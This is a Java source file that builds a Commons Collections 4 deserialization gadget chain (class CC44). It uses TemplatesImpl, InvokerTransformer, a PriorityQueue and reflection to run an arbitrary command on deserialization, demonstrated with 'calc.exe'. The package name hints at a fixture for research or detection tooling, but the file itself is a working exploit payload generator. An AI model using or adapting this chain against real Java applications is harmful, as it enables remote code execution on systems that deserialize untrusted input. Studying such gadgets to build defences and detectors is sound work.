content: package me.n1ar4.fake.gadget;
  
  import org.apache.commons.collections4.comparators.TransformingComparator;
  import org.apache.commons.collections4.functors.InvokerTransformer;
  
  import java.util.PriorityQueue;
  
  @SuppressWarnings("all")
  public class CC44 {
      public static void main(final String[] args) throws Exception {
          CC44 c = new CC44();
          Object o = c.getObject("calc.exe");
          SerUtil.deserializeObject(SerUtil.serializeObject(o));
      }
  
      public Object getObject(final String command) throws Exception {
          final Object templates = Gadgets.createTemplatesImpl(command);
          // mock method name until armed
          final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
  
          // create queue with numbers and basic comparator
          final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
          // stub data for replacement later
          queue.add(1);
          queue.add(1);
  
          // switch method called by comparator
          Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
  
          // switch contents of queue
          final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
          queueArray[0] = templates;
          queueArray[1] = 1;
  
          return queue;
      }
  }
  